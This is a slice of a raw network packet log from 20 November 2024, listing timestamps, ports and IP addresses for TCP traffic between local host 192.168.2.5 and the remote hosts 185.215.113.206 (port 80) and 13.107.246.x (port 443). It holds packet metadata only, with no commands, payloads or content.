Nov 20, 2024 08:09:25.728338957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728346109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728362083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728389978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728523016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728534937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728544950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728555918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728564024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728569031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728576899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728604078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728652000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728744030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728755951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728766918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728777885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728777885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728790998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728804111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.728810072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.728835106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729063988 CET	443	49872	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.729311943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729347944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729358912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729387045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729414940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729438066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729449034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729460955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729471922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729482889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729501009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729640961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729651928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729662895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729674101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729685068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729687929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729696035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729705095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729708910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729733944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729764938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729816914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729827881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729862928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729863882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729876041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729899883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729947090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.729984999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.729995966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730005980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730017900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730029106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730031013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730061054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730106115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730142117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730164051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730175972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730185986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730197906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730214119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730230093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730407000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730417967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730431080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730441093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730443001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730453014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730459929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730464935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730475903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730477095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730489969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730501890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730510950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730513096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730532885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730550051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730726957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730737925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730748892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730756044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730762959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.730767965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730808973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.730998039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731009960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731020927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731039047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731045961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731051922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731061935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731065035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731076956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731087923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731092930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731100082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731108904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731112003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731126070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731127024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731137991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731151104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731153965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731161118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731178045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731199026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731633902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731646061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731663942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731673956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731674910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731687069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731692076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731698990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731709957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731709957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731724024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731734991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731745005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731745005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731756926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731758118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731770992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731775045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731782913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731792927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731794119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731806040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731816053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731827021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731829882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731838942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731852055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.731858015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731873989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.731898069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.732275963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732312918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732323885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.732327938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732348919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.732364893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.732426882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732439041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732450008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732470036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732470989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.732482910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732495070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732506037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.732510090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732511044 CET	49872	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.732515097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.732522964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.732526064 CET	443	49872	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.732593060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.733009100 CET	443	49872	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.733949900 CET	49872	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.734051943 CET	443	49872	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.734617949 CET	49872	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.735882044 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.735963106 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.736022949 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.736239910 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.736257076 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.736268044 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.736273050 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.736342907 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.736423016 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.736614943 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.739645958 CET	443	49868	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.739726067 CET	443	49868	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.739804983 CET	49868	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.740624905 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.740665913 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.740688086 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.740698099 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.741875887 CET	49868	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.741893053 CET	443	49868	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.741904020 CET	49868	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.741908073 CET	443	49868	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.748054028 CET	49878	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.748106003 CET	443	49878	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.748178005 CET	49878	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.748315096 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.748346090 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.748389006 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.748496056 CET	49878	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.748514891 CET	443	49878	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.748644114 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.748656988 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.749238968 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.749263048 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.749382973 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.749674082 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.749685049 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.779330015 CET	443	49872	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.794060946 CET	443	49873	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.801351070 CET	49873	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.801362038 CET	443	49873	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.801793098 CET	443	49873	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.803742886 CET	49873	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.803822994 CET	443	49873	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.804102898 CET	49873	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.814249039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814299107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814311028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814341068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814383030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814399958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814410925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814423084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814446926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814470053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814562082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814578056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814590931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814601898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814604998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814618111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814618111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814632893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814637899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814666033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814769030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814779997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814790964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814814091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814840078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814886093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814897060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814908028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814918995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814929008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814933062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.814948082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.814975023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815128088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815140009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815150976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815162897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815176010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815179110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815186977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815192938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815200090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815211058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815222025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815248013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815748930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815794945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815808058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815819025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815850973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815912008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815923929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815934896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815946102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815953970 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.815958977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.815979958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816004992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816072941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816083908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816114902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816131115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816143036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816154003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816164970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816165924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816176891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816196918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816225052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816435099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816446066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816457033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816468000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816478014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816479921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816489935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816500902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816508055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816513062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816530943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816544056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816690922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816701889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816713095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816724062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816726923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816737890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816747904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816751957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816760063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816771984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816792011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816802025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.816984892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.816996098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817007065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817017078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817020893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817030907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817042112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817054033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817064047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817065954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817076921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817095995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817110062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817423105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817434072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817445993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817456007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817460060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817468882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817478895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817481041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817492962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817502975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817507982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817508936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817519903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817532063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817533016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817539930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817549944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817559004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817560911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817574024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817585945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.817586899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817610979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.817620039 CET	49765	80	192.168.2.5	185.215.113.206
